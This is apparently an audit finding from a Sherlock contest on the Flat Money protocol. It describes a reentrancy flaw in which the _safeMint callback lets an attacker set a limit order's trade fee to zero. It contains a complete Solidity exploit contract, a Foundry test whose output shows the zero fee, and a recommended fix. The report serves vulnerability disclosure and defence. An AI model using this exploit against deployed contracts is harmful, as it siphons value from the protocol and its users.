The limit orders trade fee can be bypassed through reentrancy

Summary

The leverage position is opened by minting the ERC721 to the trader. The issue lies in the fact that the minting process utilizes the _safeMint function, which allows an attacker to execute a reentrancy attack and bypass limit order trade fees.

Vulnerability Detail

When the leverage position is opened through the executeOpen function of the LeverageModule contract, the _mint function is called, utilizing _safeMint, which could be exploited for a reentrancy attack. Immediately after minting the ERC721 token, the position is updated in the vault. This process allows a potential attacker to receive an ERC721 token before it will get associated with the position in the vault. This vulnerability can be exploited to open a leveraged position with a limit order, setting the trade fee to 0. This is because the tradeFee is calculated based on the based on value additionalSize of the position, which has not been set yet and is therefore 0. This leads to incorrect calculations, resulting in the tradeFee being set to 0.

Following proof of concept presents attack where attacker opens leveraged position and the limit order with 0 trade fee.

Exploit code:

interface ERC20 {
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
}
interface DelayedOrder {
    function announceLeverageOpen(
        uint256 margin,
        uint256 additionalSize,
        uint256 maxFillPrice,
        uint256 keeperFee
    ) external; 
    function executeOrder(address account, bytes[] memory priceUpdateData) external payable;
}
interface OracleModule {
    function getPrice() external view returns (uint256 price, uint256 timestamp);
}
interface LeverageModule {
    function tokenIdNext() external view returns (uint256 tokenId);
}
interface ILimitOrder {
    function announceLimitOrder(uint256 tokenId, uint256 priceLowerThreshold, uint256 priceUpperThreshold) external;
}

contract ExploitReentrancy {
    ERC20 WETH;
    DelayedOrder delayedOrderProxy;
    OracleModule oracleModProxy;
    LeverageModule leverageModuleProxy;
    ILimitOrder limitOrderProxy;

    constructor(address _WETH, address _delayedOrderProxy, address _oracleModProxy, address _leverageModuleProxy, address _limitOrderProxy) payable {
        WETH = ERC20(_WETH);
        delayedOrderProxy = DelayedOrder(_delayedOrderProxy);
        oracleModProxy = OracleModule(_oracleModProxy);
        leverageModuleProxy = LeverageModule(_leverageModuleProxy);
        limitOrderProxy = ILimitOrder(_limitOrderProxy);
    }

    function stage1() external {
        uint256 margin = 10e18;
        uint256 additionalSize = 30e18;
        uint256 keeperFee = 0.001e18;

        WETH.increaseAllowance(address(delayedOrderProxy), type(uint256).max);

        (uint256 maxFillPrice, ) = oracleModProxy.getPrice();
        delayedOrderProxy.announceLeverageOpen(
            margin,
            additionalSize,
            maxFillPrice + 100, // add some slippage
            keeperFee
        );
    }

    function stage2(bytes[] memory priceUpdateData) external payable {
        delayedOrderProxy.executeOrder{value: 1}(address(this), priceUpdateData);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        uint256 tokenId = leverageModuleProxy.tokenIdNext(); 
        limitOrderProxy.announceLimitOrder(
            tokenId,
            1234,
            999999
        );

        return this.onERC721Received.selector;
    }
}

Test case:

function testExploitReentrancy() public {
    vm.startPrank(admin);
    leverageModProxy.setLevTradingFee(0.01e18);
    console2.log("regular trading fee", leverageModProxy.getTradeFee(30e18));
    vm.stopPrank();

    uint256 collateralPrice = 1000e8;

    vm.startPrank(alice);
    ExploitReentrancy exploit = new ExploitReentrancy(
        address(WETH),
        address(delayedOrderProxy),
        address(oracleModProxy),
        address(leverageModProxy),
        address(limitOrderProxy)
    );
    WETH.transfer(address(exploit), 100 ether);

    exploit.stage1();

    skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time

    uint256 oraclePrice = collateralPrice;
    bytes[] memory priceUpdateData = getPriceUpdateData(oraclePrice); 
    exploit.stage2{value: 1}(priceUpdateData);

    uint256 tokenId = leverageModProxy.tokenIdNext() - 1;
    FlatcoinStructs.Order memory order = limitOrderProxy.getLimitOrder(tokenId);

    FlatcoinStructs.LimitClose memory limitOrder = abi.decode(
        order.orderData,
        (FlatcoinStructs.LimitClose)
    );
    console2.log("tokenId", limitOrder.tokenId);
    console2.log("priceLower", limitOrder.priceLowerThreshold);
    console2.log("priceUpper", limitOrder.priceUpperThreshold);
    console2.log("tradeFee", limitOrder.tradeFee);

}

Output:

[PASS] testExploitReentrancy() (gas: 1612703)
Logs:
  regular trading fee 300000000000000000
  tokenId 2
  priceLower 1234
  priceUpper 999999
  tradeFee 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.66ms

Impact

The severity has been set to high, as it is easy to create a separate service that could enable the opening of leverage positions with limit orders (stop loss and take profit) at a 0 trade fee, allowing the siphoning of value from the Flat Money protocol.

Code Snippet

Tool used

Manual Review

Recommendation

It is recommended to adhere to the checks-effects-interactions pattern by first setting the position in the vault and then triggering the logic within the _mint function. An alternative solution is to use the regular _mint function instead of _safeMint, as the latter is susceptible to reentrancy attacks.

Duplicate of #75

sherlock-audit / 2023-12-flatmoney-judging

r0ck3tz - The limit orders trade fee can be bypassed through reentrancy #54